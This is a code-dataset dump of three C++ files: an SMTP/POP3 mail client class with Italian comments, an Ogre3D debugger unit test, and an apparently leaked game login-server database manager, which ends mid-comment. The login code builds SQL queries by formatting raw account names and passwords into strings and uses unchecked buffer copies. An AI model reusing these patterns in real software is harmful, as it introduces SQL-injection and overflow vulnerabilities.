%s\r\n",m_Mail.mime_version); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(*(m_Mail.outmbx)) OutBox(buffer,strlen(buffer)); /* X-Mailer: */ _snprintf(buffer,sizeof(buffer)-1,"X-Mailer: %s\r\n",m_Mail.x_mailer); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(*(m_Mail.outmbx)) OutBox(buffer,strlen(buffer)); /* X-Message: */ _snprintf(buffer,sizeof(buffer)-1,"X-Comment: message: %s\r\n",(m_Mail.flag.message ? m_Mail.message : "[none]")); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(*(m_Mail.outmbx)) OutBox(buffer,strlen(buffer)); /* X-Attachment: */ _snprintf(buffer,sizeof(buffer)-1,"X-Comment: attachment: %s\r\n",(m_Mail.flag.attach ? m_Mail.attach : "[none]")); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(*(m_Mail.outmbx)) OutBox(buffer,strlen(buffer)); /* X-Script: */ _snprintf(buffer,sizeof(buffer)-1,"X-Comment: script: %s\r\n",(m_Mail.flag.script ? m_Mail.script : "[none]")); if(SendData(buffer)==SOCKET_ERROR) { SetWinsockError(); return(-1); } if(*(m_Mail.outmbx)) OutBox(buffer,strlen(buffer)); return(0); } /* SendEmail() Apre il file contenente il testo dell'email e lo invia al server. */ int CMail::SendEmail(FPCALLBACK lpfnCallback/* = NULL*/,LPVOID lpVoid/* = NULL*/) { FILE* fp; char buffer[MAX_TEXTLINE+1]; char crlf[(MAX_TEXTLINE*2)+1]; MAILSTATUS MailStatus = {MAIL_STATUS_SEND,0}; long lOfs = 0L; long lSize = 0L; // apre il file contenente l'email (modalita' testo) if((fp = fopen(BODYFILE,"r"))!=(FILE*)NULL) { fseek(fp,0,SEEK_END); lSize = ftell(fp); fseek(fp,0,SEEK_SET); // legge dal file (modalita' testo) ed invia al server (modalita' binaria) while(fgets(buffer,sizeof(buffer)-1,fp)) { lOfs = ftell(fp); MailStatus.progress = (lOfs * 100) / lSize; // trasla il \n in \r\n TranslateCrLf(buffer,crlf); // invia i dati al server if(SendData(crlf)==SOCKET_ERROR) { fclose(fp); SetWinsockError(); return(-1); } if(lpfnCallback) if(lpfnCallback(&MailStatus,lpVoid)==IDCANCEL) { fclose(fp); remove(BODYFILE); return(-1); } // aggiunge i dati alla mailbox di output if(*(m_Mail.outmbx)) OutBox(crlf,strlen(crlf)); } // chiude ed elimina il file fclose(fp); remove(BODYFILE); } else return(-1); // invia al server la sequenza indicante la fine del messaggio if(SendData("\r\n.\r\n")==SOCKET_ERROR) { SetWinsockError(); return(-1); } // chiede conferma al server sulla ricezione del messaggio if(Ack(buffer,sizeof(buffer))!=0) { SetMailError(buffer); return(-1); } return(0); } /* ReadScript() Estrae dal file script le email da inviare. Restituisce 0 se sta' leggendo dal file script, !=0 per eof */ int CMail::ReadScript(int& error) { #define BUFF_SIZE (MAX_TEXTLINE+1) FILE* fp; static long fl = 0L; static char* buffer = (char*)NULL; int len; // necessario per il ciclo chiamante (non deve leggere nessuno script se utilizzato da linea di comando) if(!(m_Mail.flag.script)) return(0); // apre il file script if((fp = fopen(m_Mail.script,"rb"))!=(FILE*)NULL) { // se apre il file per la prima volta alloca i buffer per la lettura e la traslazione dello script if(fl==0L) { buffer = new char[BUFF_SIZE]; if(!buffer) { buffer = (char*)NULL; fclose(fp); error = WSA_FAILURE; return(0); } } // inizializza i campi gestiti via script memset(m_Mail.message,'\0',sizeof(m_Mail.message)); memset(m_Mail.attach,'\0',sizeof(m_Mail.attach)); // (ri)posiziona sul file script fseek(fp,fl,SEEK_SET); // legge una linea dal file script, il ciclo serve solo per saltare le righe vuote o non valide while(TRUE) { if(fgets(buffer,BUFF_SIZE-1,fp)!=NULL) { len = strlen(buffer); fl += (long)len; // aggiorna il puntatore nel file if(buffer[len-2]=='\r' && buffer[len-1]=='\n') buffer[len-2] = '\0'; // in modo script gestisce solo soggetto/destinatario(to,cc,bcc)/messaggio/attachment if(GetScriptOpt(buffer) < 3) continue; } else // eof sul file script { // rilascia i buffer allocati if(buffer) delete [] buffer,buffer = NULL; // (ri)inizializza per le chiamate successive fl = 0L; } break; // il ciclo serve solo per saltare le righe vuote o non valide } fclose(fp); return(fl!=0L); } else { error = WSA_FAILURE; return(0); } } /* CreateMailBody() Crea il testo dell'email distinguendo tra: testo+attachment, solo testo, solo attachment. */ int CMail::CreateMailBody(void) { int error = -1; if(m_Mail.flag.message && m_Mail.flag.attach) // testo+attach error = CreateMixedBody(); else if(m_Mail.flag.message && !m_Mail.flag.attach) // solo testo error = CreateTextBody(); else if(!m_Mail.flag.message && m_Mail.flag.attach) // solo attach error = CreateAttachBody(); return(error); } /* CreateMixedBody() Crea il testo dell'email per i messaggi misti (testo+attachment). */ int CMail::CreateMixedBody(void) { FILE* fp_body; FILE* fp_text; FILE* fp_attach; char buffer[MAX_TEXTLINE+1]; char crlf[(MAX_TEXTLINE*2)+1]; char attach[_MAX_PATH+1]; // crea il file per il testo dell'email (modalita' binaria) if((fp_body = fopen(BODYFILE,"wb"))==(FILE*)NULL) return(-1); // apre il file contenente il messaggio da inviare (modalita' testo) if((fp_text = fopen(m_Mail.message,"r"))==(FILE*)NULL) { fclose(fp_body); return(-1); } // codifica il file da inviare come attachment if(Encode(m_Mail.attach,m_Mail.encoded)!=0) { fclose(fp_body); fclose(fp_text); return(-1); } // apre il file attachment convertito (modalita' testo) if((fp_attach = fopen(m_Mail.encoded,"r"))==(FILE*)NULL) { fclose(fp_body); fclose(fp_text); return(-1); } // scrive l'header nel testo dell'email (multipart/mixed) fprintf(fp_body,"Content-Type: multipart/mixed; boundary=\"%s\"\r\n",BOUNDARY); fputs("\r\n",fp_body); fputs("This is a multi-part message in MIME format.\r\n",fp_body); fputs("\r\n",fp_body); // scrive l'header realtivo alla prima parte dell'email (file testo) fprintf(fp_body,"--%s\r\n",BOUNDARY); #pragma message("\t\t\t"__FILE__"("STR(__LINE__)"): warning: absolute content type/encoding") #if 1 fputs("Content-Type: text/plain; charset=us-ascii\r\n",fp_body); fputs("Content-Transfer-Encoding: 7bit\r\n",fp_body); #else fputs("Content-Type: text/plain; charset=ISO-8859-1\r\n",fp_body); fputs("Content-Transfer-Encoding: 8bit\r\n",fp_body); #endif fputs("\r\n",fp_body); // trascrive il messaggio nel testo dell'email while(fgets(buffer,sizeof(buffer)-1,fp_text)) { TranslateCrLf(buffer,crlf); fputs(crlf,fp_body); } fputs("\r\n",fp_body); // scrive l'header realtivo alla seconda parte dell'email (file attachment) fprintf(fp_body,"--%s\r\n",BOUNDARY); StripPath(m_Mail.attach,attach); { fputs("Content-Type: application/octet-stream\r\n",fp_body); fputs("Content-Transfer-Encoding: base64\r\n",fp_body); fprintf(fp_body,"Content-Disposition: attachment; filename=\"%s\"\r\n",attach); } fputs("\r\n",fp_body); // trascrive il file attachment nel testo dell'email while(fgets(buffer,sizeof(buffer)-1,fp_attach)) { TranslateCrLf(buffer,crlf); fputs(crlf,fp_body); } // fine messaggio email fprintf(fp_body,"--%s--\r\n",BOUNDARY); fclose(fp_body); fclose(fp_text); fclose(fp_attach); remove(m_Mail.encoded); return(0); } /* CreateTextBody() Crea il testo dell'email (solo testo). */ int CMail::CreateTextBody(void) { FILE* fp_body; FILE* fp_text; char buffer[MAX_TEXTLINE+1]; char crlf[(MAX_TEXTLINE*2)+1]; // crea il file per il testo dell'email (modalita' binaria) if((fp_body = fopen(BODYFILE,"wb"))==(FILE*)NULL) return(-1); // apre il file contenente il messaggio da inviare (modalita' testo) if((fp_text = fopen(m_Mail.message,"r"))==(FILE*)NULL) { fclose(fp_body); return(-1); } // scrive l'header nel testo dell'email #pragma message("\t\t\t"__FILE__"("STR(__LINE__)"): warning: absolute content type/encoding") #if 1 fputs("Content-Type: text/plain; charset=us-ascii\r\n",fp_body); fputs("Content-Transfer-Encoding: 7bit\r\n",fp_body); #else fputs("Content-Type: text/plain; charset=ISO-8859-1\r\n",fp_body); fputs("Content-Transfer-Encoding: 8bit\r\n",fp_body); #endif fputs("\r\n",fp_body); // trascrive il messaggio nel testo dell'email while(fgets(buffer,sizeof(buffer)-1,fp_text)) { TranslateCrLf(buffer,crlf); fputs(crlf,fp_body); } fputs("\r\n",fp_body); fclose(fp_body); fclose(fp_text); return(0); } /* CreateAttachBody() Crea il testo dell'email (solo attachment). */ int CMail::CreateAttachBody(void) { FILE* fp_body; FILE* fp_attach; char buffer[MAX_TEXTLINE+1]; char crlf[(MAX_TEXTLINE*2)+1]; char attach[_MAX_PATH+1]; // crea il file per il testo dell'email (modalita' binaria) if((fp_body = fopen(BODYFILE,"wb"))==(FILE*)NULL) return(-1); // converte il file da inviare come attachment in formato MIME base 64 if(Encode(m_Mail.attach,m_Mail.encoded)!=0) { fclose(fp_body); return(-1); } // apre il file attachment convertito (modalita' testo) if((fp_attach = fopen(m_Mail.encoded,"r"))==(FILE*)NULL) { fclose(fp_body); return(-1); } // scrive l'header nel testo dell'email (octet-stream/x-zip-compressed) StripPath(m_Mail.attach,attach); { fputs("Content-Type: application/octet-stream\r\n",fp_body); fputs("Content-Transfer-Encoding: base64\r\n",fp_body); fprintf(fp_body,"Content-Disposition: attachment; filename=\"%s\"\r\n",attach); } fputs("\r\n",fp_body); // trascrive il file attachment nel testo dell'email while(fgets(buffer,sizeof(buffer)-1,fp_attach)) { TranslateCrLf(buffer,crlf); fputs(crlf,fp_body); } fclose(fp_body); fclose(fp_attach); remove(m_Mail.encoded); return(0); } /* ReceiveData() Utilizzata per ricevere i dati dal server. Restituisce il numero di bytes ricevuti o SOCKET_ERROR in caso d'errore. */ int CMail::ReceiveData(char* buffer,int size) { int recv = 0; // azzera il buffer di input e riceve i dati memset(buffer,'\0',size); char* p = (char*)CSock::Receive(&recv,size-1); // errore if(recv==SOCKET_ERROR) { memset(buffer,'\0',size); } // nessun dato da ricevere o connessione chiusa else if(recv==0) { memset(buffer,'\0',size); } // dati ricevuti else if(recv > 0) { // passa nel buffer di input i dati ricevuti memcpy(buffer,p,recv); // scarica sul log quanto ricevuto Log(buffer,recv); // controlla il codice di ritorno (POP3) if(memcmp(buffer,"-ERR",4)==0) { recv = SOCKET_ERROR; } else if(memcmp(buffer,"+OK",3)==0) // elimina la risposta del server presente in testa all'email (POP3) { register char* p = buffer; while(*p!='\r') p++; p += 2; memmove(buffer,p,recv - (p-buffer)); buffer[recv - (p-buffer)] = '\0'; } } return(recv); } /* SendData() Utilizzata per inviare i dati al server. Restituisce il numero di bytes inviati o SOCKET_ERROR in caso d'errore. */ int CMail::SendData(const char* data) { int len = strlen(data); Log((char*)data,len); return(CSock::Send(data,len)); } /* Ack() Utilizzata per ricevere la risposta del server. */ int CMail::Ack(char* ack,int size) { int recv = 0; char* p; //#if defined(_WINDOWS) // ::Sleep(5000); //#endif memset(ack,'\0',size); // riceve la risposta dal server if((p = (char*)CSock::Receive(&recv,size))!=NULL) { memcpy(ack,p,recv); Log(ack,recv); } // errore if(recv==SOCKET_ERROR) { return(CSock::GetWSALastError()); } // nessun dato da ricevere o connessione chiusa else if(recv==0) { return(CSock::GetWSALastError()); } // nessun errore, controlla comunque il codice di ritorno else if(recv > 0) { // SMTP if(isdigit(ack[0])) { if(ack[0] > '3') { CSock::SetWSALastError(WSAECONNREFUSED); return(CSock::GetWSALastError()); } } // POP3 else { if(memcmp(ack,"-ERR",4)==0) { CSock::SetWSALastError(WSAECONNREFUSED); return(CSock::GetWSALastError()); } } } return(0); } /* Encode() Converte il file in formato MIME base64. */ int CMail::Encode(char* attach,char* base64) { char* p; // costruisce il nome per il file di destinazione (nome file sorgente + .b64) strcpy(base64,attach); if((p = strchr(base64,'.'))!=NULL) *p = '\0'; strcat(base64,".b64"); return(CBase64::Encode(attach,base64)); } /* Log() Effettua il log dei dati spediti/ricevuti. */ void CMail::Log(const char* log,int len) { if(!m_Mail.flag.log) return; if((!log || !*log) || len <= 0) return; // apre il file per il log if((m_Mail.hLog = _lopen(m_Mail.log,OF_WRITE))!=HFILE_ERROR) { static char buffer[MAX_TEXTLINE+1]; char* p_buf = buffer; char* p_log = (char*)log; int i,index = 0; // posiziona alla fine del file _llseek(m_Mail.hLog,0L,2); _lwrite(m_Mail.hLog,"[",1); memset(buffer,'\0',sizeof(buffer)); // trasla i \r\n in #13#10 nel buffer locale while(*p_log && (p_log-log) < len) { if(*p_log=='\r' || *p_log=='\n') { for(i = 0; i < 3; i++) { // scarica il buffer sul file if(index > (sizeof(buffer)-1)) { _lwrite(m_Mail.hLog,buffer,index); memset(buffer,'\0',sizeof(buffer)); p_buf = buffer; index = 0; } *p_buf++ = (char)(i==0 ? '#' : (i==1 ? '1' : (i==2 ? (*p_log=='\r' ? '3' : '0') : '0'))); index++; } p_log++; continue; } // scarica il buffer sul file if(index > (sizeof(buffer)-1)) { _lwrite(m_Mail.hLog,buffer,index); memset(buffer,'\0',sizeof(buffer)); p_buf = buffer; index = 0; } *p_buf++ = *p_log++; index++; } // scarica il buffer sul file if(index!=0) { _lwrite(m_Mail.hLog,buffer,index); memset(buffer,'\0',sizeof(buffer)); p_buf = buffer; index = 0; } _lwrite(m_Mail.hLog,"]\r\n",3); _lclose(m_Mail.hLog); } } /* MailBox() Registra i dati inviati/ricevuti nelle mailbox di output/input. */ int CMail::MailBox(LPCSTR buffer,int iBufLen,int iMbx) { HFILE hFile; // apre la mailbox if((hFile = _lopen((iMbx==0 ? m_Mail.inmbx : m_Mail.outmbx),OF_WRITE))==HFILE_ERROR) hFile = _lcreat((iMbx==0 ? m_Mail.inmbx : m_Mail.outmbx),0); if(hFile!=HFILE_ERROR) { // posiziona alla fine del file e trascrive i dati _llseek(hFile,0L,2); _lwrite(hFile,buffer,iBufLen); _lclose(hFile); } return(0); } /* TranslateCrLf() Trasla i \n in \r\n. Il buffer di destinazione deve avere (nella peggiore delle ipotesi, ossia nell'eventualita' in cui sia costituito unicamente da \n) una dimensione pari al doppio + 1 della stringa da traslare. */ void CMail::TranslateCrLf(const char* string,char* buffer) { register char* p_string = (char*)string; register char* p_buffer = buffer; // scorre la stringa sorgente ed effettua la traslazione while(*p_string) { if(*p_string=='\n') { *p_buffer++ = '\r'; *p_buffer++ = '\n'; p_string++; continue; } *p_buffer++ = *p_string++; } *p_buffer = '\0'; } /* StripPath() Elimina il pathname dal nome file. */ void CMail::StripPath(const char* filename,char* buffer) { char* p; strcpy(buffer,filename); if((p = strchr(buffer,'\\'))!=NULL) { strrev(buffer); *strchr(buffer,'\\') = '\0'; strrev(buffer); } } /* GetScriptOpt() Carica le opzioni dal file script. */ int CMail::GetScriptOpt(char* buffer) { int i = 0; register char* p; m_Mail.flag.message = m_Mail.flag.attach = 0; // analizza la linea di comando for(p = strtok(buffer," "); p && *p; p = strtok(NULL," ")) { // trovata un opzione if(*p=='-') { switch(*++p) { // subject dell'email case 's': if((*p+1)) { strcpyn(m_Mail.subject,p+1,sizeof(m_Mail.subject)); i++; } break; // destinatario dell'email case 'e': if((*p+1)) { int len = strlen(p+1); if(m_Mail.to) delete [] m_Mail.to,m_Mail.to = NULL; m_Mail.to = new char[len+1]; if(m_Mail.to) { memset(m_Mail.to,'\0',len+1); strcpy(m_Mail.to,p+1); i++; } else return(0); } break; // cc case 'c': if((*p+1)) { int len = strlen(p+1); if(m_Mail.cc) delete [] m_Mail.cc,m_Mail.cc = NULL; m_Mail.cc = new char[len+1]; if(m_Mail.cc) { memset(m_Mail.cc,'\0',len+1); strcpy(m_Mail.cc,p+1); } else return(0); } break; // bcc case 'b': if((*p+1)) { int len = strlen(p+1); if(m_Mail.bcc) delete [] m_Mail.bcc,m_Mail.bcc = NULL; m_Mail.bcc = new char[len+1]; if(m_Mail.bcc) { memset(m_Mail.bcc,'\0',len+1); strcpy(m_Mail.bcc,p+1); } else return(0); } break; // testo case 'm': if((*p+1)) { m_Mail.flag.message = 1; strcpyn(m_Mail.message,p+1,sizeof(m_Mail.message)); i++; } break; // attachment case 'a': if((*p+1)) { m_Mail.flag.attach = 1; strcpyn(m_Mail.attach,p+1,sizeof(m_Mail.attach)); i++; } break; // opzione non prevista default: return(0); break; } } } // imposta su script m_Mail.flag.script = 1; return(i); } /* ParseRCPT() Restituisce gli indirizzi email presenti nella stringa. Assume che come separatore venga utilizzato il carattere ',' (virgola). */ char* CMail::ParseRCPT(char* line,char* buffer,int size) { static char* p = NULL; char* b = buffer; if(!p) p = line; while((*p) && (*p!=',') && ((b-buffer) < size)) *b++ = *p++; *b = '\0'; if(!*p) p = '\0'; else *p++; return(p); }
[ [ [ 1, 1784 ] ] ]
8763d89357a5b25f39f2b5eed20322a091354c18
74c8da5b29163992a08a376c7819785998afb588
/NetAnimal/Game/Hunter/NewGame/SanUnitTest/include/OgreNodeDebuggerTest.h
50a7fecb03bf6b5b4dde64f1ad4e7589c6084e90
[]
no_license
dbabox/aomi
dbfb46c1c9417a8078ec9a516cc9c90fe3773b78
4cffc8e59368e82aed997fe0f4dcbd7df626d1d0
refs/heads/master
2021-01-13T14:05:10.813348
2011-06-07T09:36:41
2011-06-07T09:36:41
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,440
h
#ifndef __Orz_UnitTest_OgreNodeDebugerTest__ #define __Orz_UnitTest_OgreNodeDebugerTest__ #include "SanUnitTestConfig.h" #include "OgreNodeDebuggerTest.h" #include "OgrePlayerComponent.h" #include "OgreNodeDebuggerComponent.h" //#include "KeyControllerComponent.h" #include "COgreResourceInterface.h" #include "COgreEntityInterface.h" #include "COgreSceneLoaderInterface.h" #include "COgreCCSInterface.h" #include "CUpdateInterface.h" #include "CCSBasicCameraModes.h" #include "COgreAnimationInterface.h" #include "COgreNodeDebuggerInterface.h" /* #include "Engine.h" #include "KeyToMessage.h" #include "SingleChipToMessage.h"*/ #include <OGRE/ogre.h> BOOST_AUTO_TEST_CASE(OgrePlayerUnitTest) { using namespace Orz; /*ComponentPtr key = ComponentFactories::getInstance().create("KeyController");*/ ComponentPtr comp = ComponentFactories::getInstance().create("OgrePlayer"); COgreResourceInterface * rf = comp->queryInterface<COgreResourceInterface>(); BOOST_CHECK(rf); BOOST_CHECK(rf->createGroup("ABC")); BOOST_CHECK(rf->addLocation("../../media/san/ZhugeLiang", "FileSystem")); rf->init(); COgreEntityInterface * face = comp->queryInterface<COgreEntityInterface>(); BOOST_CHECK(face); Ogre::SceneManager * sm = Orz::OgreGraphicsManager::getSingleton().getSceneManager(); Ogre::SceneNode * root = sm->getRootSceneNode()->createChildSceneNode(); face->load("ms_01_4.mesh", "abc"); //face->play(""); Ogre::SceneNode * sn = face->getSceneNode(); sn->scale(0.1f, 0.1f, 0.1f); face->printAllAnimation(); BOOST_CHECK(sn->getParentSceneNode() == root); COgreAnimationInterface * animation = comp->queryInterface< COgreAnimationInterface >(); BOOST_CHECK(animation->isExist("first")); BOOST_CHECK(animation->enable("first", 1)); using namespace Orz; ComponentPtr debug = ComponentFactories::getInstance().create("OgreNodeDebugger"); COgreNodeDebuggerInterface * debugger = debug->queryInterface<COgreNodeDebuggerInterface>(); BOOST_CHECK(debugger); debugger->pushNode(sn); debugger->enable(); CUpdateInterface * update = debug->queryInterface<CUpdateInterface>(); while(animation->update(0.015f) && update->update(0.015f)) { UnitTestEnvironmen::system->run(); } UnitTestEnvironmen::system->run(); UnitTestEnvironmen::system->run(); debugger->removeNode(sn); debugger->disable(); } #endif
[ [ [ 1, 88 ] ] ]
ab1ddba3f83b4f986f0dfbeffb54df73abead5c6
91b964984762870246a2a71cb32187eb9e85d74e
/SRC/OFFI SRC!/CERTIFIER/DBManager.cpp
264e7a41149de81b32d3fbba92c72ddee833c353
[]
no_license
willrebuild/flyffsf
e5911fb412221e00a20a6867fd00c55afca593c7
d38cc11790480d617b38bb5fc50729d676aef80d
refs/heads/master
2021-01-19T20:27:35.200154
2011-02-10T12:34:43
2011-02-10T12:34:43
32,710,780
3
0
null
null
null
null
UHC
C++
false
false
26,203
cpp
#include "stdafx.h" #include "dbmanager.h" #ifdef __GPAUTH #include "afxinet.h" #define s_sUrl "spe.gpotato.eu" #define VALID_CRLF( n, r, s ) if( ( n ) < 0 ) { r.nResult = -1; *r.szResult = '\0'; OutputDebugString( (LPCTSTR)s ); return; } #define VALID_STR( len, max, r, s ) if( ( len ) > ( max ) ) { r.nResult = -1; *r.szResult = '\0'; OutputDebugString( (LPCTSTR)s ); return; } #endif // __GPAUTH #include "dpcertifier.h" #include "dpaccountclient.h" #include "AccountMgr.h" #include "..\Resource\Lang.h" ///////////////////////////////////////////////////////////////////////////////////////////////// // extern extern CDPCertifier g_dpCertifier; extern CDPAccountClient g_dpAccountClient; extern UINT HashKey( const char* key ); ///////////////////////////////////////////////////////////////////////////////////////////////// // global CDbManager g_DbManager; HANDLE s_hHandle = (HANDLE)NULL; #ifdef __JAPAN_AUTH string g_strWebCertURL; #endif // __JAPAN_AUTH ///////////////////////////////////////////////////////////////////////////////////////////////// CDbManager::CDbManager() { m_pDbIOData = new CMemPool<DB_OVERLAPPED_PLUS>(512); for( int i = 0; i < DEFAULT_DB_WORKER_THREAD_NUM; i++ ) { m_hIOCP[i] = NULL; m_hDbWorkerThreadTerminate[i] = NULL; } m_szLoginPWD[0] = '\0'; } CDbManager::~CDbManager() { int i; for( i = 0; i < DEFAULT_DB_WORKER_THREAD_NUM; i++ ) { PostQueuedCompletionStatus( m_hIOCP[i], 0, NULL, NULL ); CLOSE_HANDLE( m_hIOCP[i] ); } WaitForMultipleObjects( DEFAULT_DB_WORKER_THREAD_NUM, m_hDbWorkerThreadTerminate, TRUE, INFINITE ); for( i = 0; i < DEFAULT_DB_WORKER_THREAD_NUM; i++ ) { CLOSE_HANDLE( m_hDbWorkerThreadTerminate[i] ); } SAFE_DELETE( m_pDbIOData ); } BOOL CDbManager::CreateDbWorkers() { #ifdef __GPAUTH // BOOL bGPAuth = TRUE; BOOL bGPAuth = ( ::GetLanguage() == LANG_FRE ); // ( ::GetLanguage() == LANG_GER || ::GetLanguage() == LANG_FRE ) #ifdef __INTERNALSERVER bGPAuth = FALSE; #endif // __INTERNALSERVER #endif // __GPAUTH s_hHandle = CreateEvent( NULL, FALSE, FALSE, NULL ); for( int i = 0; i < DEFAULT_DB_WORKER_THREAD_NUM; i++ ) { m_hIOCP[i] = CreateIoCompletionPort( INVALID_HANDLE_VALUE, NULL, 0, 0 ); ASSERT( m_hIOCP[i] ); #ifdef __GPAUTH HANDLE hThread; if( bGPAuth ) hThread = chBEGINTHREADEX( NULL, 0, GPotatoAuthWorker, (LPVOID)i, 0, NULL ); #ifdef __JAPAN_AUTH else if( ::GetLanguage() == LANG_JAP && !g_strWebCertURL.empty() ) hThread = chBEGINTHREADEX( NULL, 0, JapanAuthWorker, (LPVOID)i, 0, NULL ); #endif // __JAPAN_AUTH else hThread = chBEGINTHREADEX( NULL, 0, DbWorkerThread, (LPVOID)i, 0, NULL ); #else // __GPAUTH HANDLE hThread = chBEGINTHREADEX( NULL, 0, DbWorkerThread, (LPVOID)i, 0, NULL ); #endif // __GPAUTH ASSERT( hThread ); m_hDbWorkerThreadTerminate[i] = hThread; if( WaitForSingleObject( s_hHandle, SEC( 10 ) ) == WAIT_TIMEOUT ) { OutputDebugString( "CERTIFIER.EXE\t// TIMEOUT\t// ODBC" ); return FALSE; } } CloseHandle( s_hHandle ); return TRUE; } #if __VER >= 14 // __PCBANG void CDbManager::DBQryAccount( char* qryAccount, LPDB_OVERLAPPED_PLUS pData ) { char lpAddr[16] = {0,}; g_dpCertifier.GetPlayerAddr( pData->dpId, lpAddr ); if( GetLanguage() == LANG_TWN ) wsprintf( qryAccount, "LOGIN_STR @iaccount='%s', @ipassword='%s', @isession='%s', @i_IPAddress='%s'", pData->AccountInfo.szAccount, pData->AccountInfo.szPassword, pData->AccountInfo.szSessionPwd, lpAddr ); // wsprintf( qryAccount, "LOGIN_STR @iaccount='%s', @ipassword='%s', @isession='%s'", // pData->AccountInfo.szAccount, pData->AccountInfo.szPassword, pData->AccountInfo.szSessionPwd ); else wsprintf( qryAccount, "LOGIN_STR '%s', '%s', '%s'", pData->AccountInfo.szAccount, pData->AccountInfo.szPassword, lpAddr ); // wsprintf( qryAccount, "LOGIN_STR '%s', '%s'", pData->AccountInfo.szAccount, pData->AccountInfo.szPassword ); } #else // __PCBANG #ifdef __TWN_LOGIN0816 void CDbManager::DBQryAccount( char* qryAccount, char* szAccount, char* szPass, char* szSessionPwd ) { if( GetLanguage() == LANG_TWN ) wsprintf( qryAccount, "LOGIN_STR @iaccount='%s', @ipassword='%s', @isession='%s'", szAccount, szPass, szSessionPwd ); else wsprintf( qryAccount, "LOGIN_STR '%s', '%s'", szAccount, szPass ); } #else // __TWN_LOGIN0816 void CDbManager::DBQryAccount( char* qryAccount, char* szAccount, char* szPass ) { wsprintf( qryAccount, "LOGIN_STR '%s', '%s'", szAccount, szPass ); } #endif // __TWN_LOGIN0816 #endif // __PCBANG // AccountFlag를 얻는다. // f18 - 디비에서 얻는 데이타 // 태국: 2 - 미성년자, 4 - 미등록 성인, 8 - 등록된 성인 // 그외: 0 - 미성년자, 1 - 성인 BYTE CDbManager::GetAccountFlag( int f18, LPCTSTR szAccount ) { BYTE cb18 = (BYTE)f18; BYTE cbAccountFlag = 0x00; if( ::GetLanguage() == LANG_THA ) { if( cb18 & 0x04 ) cbAccountFlag |= ACCOUNT_FLAG_UNREGISTER18; // 미등록 성인 else if( cb18 & 0x08 ) cbAccountFlag |= ACCOUNT_FLAG_18; } else { if( cb18 & 0x01 ) cbAccountFlag |= ACCOUNT_FLAG_18; } if( IsEveSchoolAccount( szAccount ) ) cbAccountFlag |= ACCOUNT_FLAG_SCHOOLEVENT; // char szBuffer[256]; // sprintf( szBuffer, "%s - f18:%02x cbAccountFlag:%02x\n", szAccount, cb18, cbAccountFlag ); // OutputDebugString( szBuffer ); return cbAccountFlag; } void CDbManager::OnCertifyQueryOK( CQuery & query, LPDB_OVERLAPPED_PLUS pData, const char* szCheck ) { BOOL bGPotatoAuth = ::GetLanguage() == LANG_FRE; // ::GetLanguage() == LANG_GER || ::GetLanguage() == LANG_FRE; #ifdef __JAPAN_AUTH if( !bGPotatoAuth && ::GetLanguage() == LANG_JAP ) bGPotatoAuth = TRUE; #endif // __JAPAN_AUTH int n18 = 1; if( !bGPotatoAuth ) n18 = query.GetInt( "f18" ); BYTE cbAccountFlag = GetAccountFlag( n18, pData->AccountInfo.szAccount ); if( ::GetLanguage() == LANG_THA ) { if( (cbAccountFlag & ACCOUNT_FLAG_18) == 0x00 ) { CTime cur = CTime::GetCurrentTime(); if( cur.GetHour() >= 22 || cur.GetHour() < 6 ) { g_dpCertifier.SendError( ERROR_TOO_LATE_PLAY, pData->dpId ); return; } } } int fCheck = 0; #ifdef __BILLING0712 if( !bGPotatoAuth ) fCheck = query.GetInt( "fCheck" ); #endif//__BILLING0712 char lpAddr[16] = { 0, }; g_dpCertifier.GetPlayerAddr( pData->dpId, lpAddr ); #ifdef __GPAUTH_02 #ifdef __EUROPE_0514 #if __VER >= 14 // __PCBANG g_dpAccountClient.SendAddAccount( lpAddr, pData->AccountInfo.szAccount, cbAccountFlag, pData->dpId, fCheck, szCheck, pData->AccountInfo.szBak, pData->AccountInfo.dwPCBangClass ); #else // __PCBANG g_dpAccountClient.SendAddAccount( lpAddr, pData->AccountInfo.szAccount, cbAccountFlag, pData->dpId, fCheck, szCheck, pData->AccountInfo.szBak ); #endif // __PCBANG #else // __EUROPE_0514 g_dpAccountClient.SendAddAccount( lpAddr, pData->AccountInfo.szAccount, cbAccountFlag, pData->dpId, fCheck, szCheck ); #endif // __EUROPE_0514 #else // __GPAUTH_02 g_dpAccountClient.SendAddAccount( lpAddr, pData->AccountInfo.szAccount, cbAccountFlag, pData->dpId, fCheck ); #endif // __GPAUTH_02 } void CDbManager::Certify( CQuery & query, LPDB_OVERLAPPED_PLUS pData, CAccountMgr& accountMgr ) { ACCOUNT_CHECK result = CHECK_OK; if( pData->dwIP ) { result = accountMgr.Check( pData->dwIP ); switch( result ) { case CHECK_1TIMES_ERROR: g_dpCertifier.SendError( ERROR_15SEC_PREVENT, pData->dpId ); m_pDbIOData->Free( pData ); return; case CHECK_3TIMES_ERROR: g_dpCertifier.SendError( ERROR_15MIN_PREVENT, pData->dpId ); m_pDbIOData->Free( pData ); return; } } query.Clear(); char szQuery[256]; #if __VER >= 14 // __PCBANG DBQryAccount( szQuery, pData ); #else // __PCBANG #ifdef __TWN_LOGIN0816 DBQryAccount( szQuery, pData->AccountInfo.szAccount, pData->AccountInfo.szPassword, pData->AccountInfo.szSessionPwd ); #else // __TWN_LOGIN0816 DBQryAccount( szQuery, pData->AccountInfo.szAccount, pData->AccountInfo.szPassword ); #endif // __TWN_LOGIN0816 #endif // __PCBANG int nCode = ERROR_CERT_GENERAL; if( query.Exec( szQuery ) ) { if( query.Fetch() ) { int nError = query.GetInt( "fError" ); switch( nError ) { case 0: #if __VER >= 14 // __PCBANG pData->AccountInfo.dwPCBangClass = query.GetInt( "fPCZone" ); #endif // __PCBANG if( pData->dwIP ) accountMgr.SetError( 0 ); #ifdef __EUROPE_0514 lstrcpy( pData->AccountInfo.szBak, pData->AccountInfo.szAccount ); #endif // __EUROPE_0514 OnCertifyQueryOK( query, pData ); m_pDbIOData->Free( pData ); return; case 1: // 암호틀림 if( pData->dwIP ) accountMgr.SetError( 1 ); nCode = ERROR_FLYFF_PASSWORD; break; case 3: // 계정블럭이거나 유료화 초과 nCode = ERROR_BLOCKGOLD_ACCOUNT; break; case 4: // 실명인증후 게임접속이 가능합니다 www.flyff.com으로 접속해주십시오 nCode = ERROR_FLYFF_AUTH; break; case 5: // 프리프는 12세 